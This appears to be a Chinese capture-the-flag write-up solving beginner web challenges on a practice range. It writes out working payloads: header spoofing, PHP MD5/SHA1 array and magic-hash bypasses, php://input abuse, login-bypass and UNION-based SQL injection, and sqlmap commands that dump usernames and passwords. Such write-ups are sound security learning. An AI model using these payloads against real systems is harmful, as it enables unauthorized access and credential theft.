本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[Simple SQL injection](#Simple SQL injection)
程序员本地网站
题目信息

打开靶场,让我们从本地访问

从本地访问的话直接将 IP 设置为 127.0.0.1 即可,这里得用到bp,添加一下
X-Forwarded-For:127.0.0.1
添加之后发送,得到flag!

你从哪里来
我从河南来~带着胡辣汤~
题目信息

打开靶场,问我是否来自谷歌,难不成我得用谷歌访问,直接用bp搞一下不得了

bp添加
Referer: http://www.google.com
好好好,直接从谷歌来,flag给我吧!

前女友
我母胎solo20年,哪来的前女友!告诉我!
题目信息

点开靶场,呜呜呜很感动,那我们就点一下链接吧

发现下图代码

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>
我们分析一下代码
isset() 检查: isset() 函数用于检查 $_GET 请求中是否存在 v1、v2 和 v3 这三个参数。如果都存在,则程序继续执行,否则什么也不做。 获取 $_GET['v1']、$_GET['v2'] 和 $_GET['v3'] 的值并赋值给变量 $v1、$v2 和 $v3 检查 $v1 和 $v2 是否不同,并且它们的 md5 哈希值是否相等。 $v1 != $v2:确保 $v1 和 $v2 是不同的字符串。 md5($v1) == md5($v2):确保 $v1 和 $v2 的MD5哈希值相同。 这意味着用户需要找到两个不同的值,经过 MD5 哈希后能得到相同的结果。这样的字符串对称问题是已知的哈希碰撞问题。
这道题用MD5数组绕过
构造payload
http://160.202.254.160:14784/?v1[]=1&&v2[]=2&&v3[]=1
呜呜呜,找到flag!

MD5
题目信息

进入靶场,让我放个a?什么意思
应该是输入参数a
常规的0e绕过 QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
构造payload
http://160.202.254.160:14712/?a=s878926199a
找到flag!

各种绕过哟
题目信息

进入靶场发现一堆php代码

<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) • print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) • die('Flag: '.$flag); else • print 'sorry!'; } ?>
代码逻辑拆解
-
输入方式组合 :要求必须同时用 GET 传
uname,用 POST 传passwd。 -
第一次拦击 :判断
$_GET['uname'] == $_POST['passwd']。如果相等,直接报错退出。 -
核心胜利条件 :
sha1($_GET['uname']) === sha1($_POST['passwd'])且$_GET['id'] == 'margin'。 -
迷惑性操作 :
$_GET['id'] = urldecode($_GET['id']);,增加了 URL 双编码的可能性,但直接传字面值也能过。
构造一下payload,找到flag

构造原理:
第一层:避开 uname 和 passwd 相等的拦截 源码中的第一道判断是 if ($_GET['uname'] == $_POST['passwd'])。
-
你 GET 传的是数组
uname[]=1 -
POST 传的是数组
passwd[]=2 -
原理: PHP 比较两个数组时,会比对里面的元素值。因为
1 != 2,所以[1] == [2]判定为 False 。成功绕过!(这比上一个案例里两边都传1要更加稳定,因为如果两边都是1,有些 PHP 环境会认为数组相等,从而被拦截)。
第二层:利用 sha1() 数组特性进行二次绕行 进入 else if 后,校验是 sha1($uname) === sha1($passwd)。这里用的是严格全等(===) ,不能再用 0e 科学计数法了。
-
原理(核心考点): 在 PHP 7 及以前的版本中,
sha1()函数不接受数组 。如果你传给它是数组,它会直接报错,并且返回NULL。 -
结果:
sha1([1])返回NULL,sha1([2])也返回NULL。变成了NULL === NULL。在 PHP 中,两个NULL严格全等是成立的(返回 True)。这道关也被完美拿下!
第三层:id 参数校验 最后要求 $_GET['id'] == 'margin'。
-
你直接在 URL 里传了明文
id=margin。 -
补充说明(关于代码里的
urldecode): 源码里虽然多写了$_GET['id'] = urldecode($_GET['id']);,但用明文margin直接传过去也能正常通过。如果你想更极限一点,其实传id=%6D%61%72%67%69%6E(margin的 URL 编码)也能破,因为经过一次解码后依然会变成margin。
秋名山车神
题目信息

进入靶场,毫无思路

找到大佬的python代码
import requests # 引入网络请求库 import re # 引入正则分析库 session = requests.Session() # 创建一个会话对象(用于保存携带 cookies),用于发起多次请求而不丢失 cookies,可以让后台从 cookies 取出它的判断标识字符串,从而判断我们第二次 post 提交过去的数据和他生成的计算结果是否一致 response = session.get("http://160.202.254.160:19193/") # 发起一次 get 请求,获取首页内容 response.encoding = "utf-8" # 设置响应编码为 utf-8,用于正确解析中文 pattern = '<div>(.*?)=\?;</div>' # 定义一个正则表达式,用于匹配隐藏的 div 元素 (\? 代表匹配 ? 这个字符,这里需要懂一点点正则表达式,提取 div 之间的内容,.*? 代表匹配任意字符多次并提取这部分,到=?; 这个位置) matches = re.findall(pattern, response.text, re.DOTALL) # 用正则表达式匹配首页内容,re.DOTALL 代表匹配任意字符,包括换行符 num = eval(matches[0]) # 每个步骤可以 print 变量打印运行下看值再写下一步,发现 matches 是数组第 0 个元素就是网页那一串计算的表达式,eval() 是执行表达式计算拿到结果给 num 变量 print(num) # 打印下确认看看 # 发起一次 post 请求,并传递 value 参数,并打印返回结果 data 是固定名字的后面跟上题目让传递的参数名和你计算好的结果值 response2 = session.post("http://160.202.254.160:19193/", data={ "value": num }) response2.encoding = "utf-8" print(response2.text) # 打印 post 提交计算后返回的内容
直接搞到flag!

速度要快
题目信息

打开页面,让我再快些

查看源代码

提示要以post方式提交一个参数margin,接下来就要找margin的值为多少,点击网络,发送请求

发现flag,解个码吧

继续解码

得到值为668253,应该就是margin的值了,
还是不行。

但是用hackbar发送post请求后没有得到flag
所以必须在同一会话内、极短时间内发送 POST 请求,提交margin参数,最终 flag 会在 POST 响应体中返回
找了个大佬的脚本解一下
import requests import base64 # 题目目标地址 url = "http://160.202.254.160:11983/" # 用同一个会话保持Cookie/上下文一致,避免跨请求失效 session = requests.Session() try: # 1. 发送GET请求,获取响应头中的编码线索 get_response = session.get(url, timeout=5) get_response.raise_for_status() # 提取响应头中的base64编码字符串(根据响应头,字段名为flag) encode_str = get_response.headers.get("flag") if not encode_str: print("错误:未在响应头中找到编码字符串,请检查抓包确认字段名") exit() # 2. 第一次base64解码,获取明文提示和第二段编码 first_decode = base64.b64decode(encode_str).decode("utf-8") print(f"第一次解码结果:{first_decode}") # 提取冒号后的第二段base64字符串,二次解码得到margin值 second_encode = first_decode.split(":")[-1].strip() margin_value = base64.b64decode(second_encode).decode("utf-8") print(f"提取到的margin值:{margin_value}") # 3. 立即发送POST请求,提交margin参数 post_data = {"margin": margin_value} post_response = session.post(url, data=post_data, timeout=5) post_response.raise_for_status() # 4. 输出最终结果,获取flag print("\nPOST请求响应结果(含最终flag):") print(post_response.text.strip()) except Exception as e: print(f"执行出错:{str(e)}")
大佬脚本果真好用,得到flag!

file_get_contents

进入靶场看到一段php代码

<?php extract($_GET); // 1. 致命漏洞:把 GET 参数直接解析成变量 if (!empty($ac)) // 2. 检查变量 $ac 是否为空 { $f = trim(file_get_contents($fn)); // 3. 读取 $fn 指向的文件内容 if ($ac === $f) // 4. 必须严格全等(类型+内容完全一致) { echo "<p>This is flag:" . $flag . "</p>"; // 5. 输出 $flag } else echo "<p>sorry!</p>"; } ?>
第1步:extract($_GET); PHP 提取 URL 中的参数,把它变成变量: 此时系统内部:$ac = "1", $fn = "php://input"
第2步:if (!empty($ac)) 因为 $ac 是字符串 "1",不为空。条件成立,进入下一步。
第3步:$f = trim(file_get_contents($fn)); 这是最核心的一步! 当 $fn 的值是字符串 "php://input" 时,file_get_contents 这个函数不会去读硬盘上的文件,而是去读取当前 HTTP 请求的原始 POST Body(即网页下方的 POST 数据) 。 因为你填写的 POST Body 是 1 ,所以函数读取到的内容也是字符 "1"。 经过 trim() 去空格,最终: 此时系统内部:$f = "1"
第4步:if ($ac === $f) 现在我们对比两个变量:
-
$ac是字符串"1" -
$f也是字符串"1"使用===(全等)比较,要求值和数据类型 必须完全一样。显然"1" === "1"返回 True。
第5步:echo ... $flag ... 代码成功进入输出分支。
找到flag!

Simple SQL injection
题目信息

进入靶场,直接用万能账号,密码随便填
' or 1 = 1--

ok,flag到手!

开玩笑,那么简单?对就是那么简单
咱们用sqlmap搞一下
python sqlmap.py http://160.202.254.160:11141/article?id=1 --batch

SQLite 无「数据库」概念(只有单个文件),直接枚举所有表。

枚举 users 表的所有字段
python sqlmap.py -u "http://160.202.254.160:11141/article?id=1" --batch -T users --columns

直接提取 users 表中 username 和 password 字段的所有数据
python sqlmap.py -u "http://160.202.254.160:11141/article?id=1" --batch -T users -C username,password --dump

登录一下,找到flag!

成绩查询
题目信息

进入靶场,让我查成绩

进行注入
输入1有回显,输入1'无回显,可知存在字符型注入。
用order by 来确定列数。可以发现当输入1' order by 4 -- 有回显,而1' order by 5 -- 无回显,确定查询列数为4,即后面的select 语句要有四个参数。

确定好参数,我们就可以来查询数据库 里的表名了,这里要注意的是我们要采用-1'来闭合,主要是为了让回显处能显示我们的查询语句返回值
-1'union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --

可以得到fl4g,sc两张表,明显,我们所需的表应该是fl4g,然后,获取表中的所有字段(不知道为啥需要用# ,--用不了)
-1' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='fl4g'#

得到字段名后,就可以得到flag了
-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#
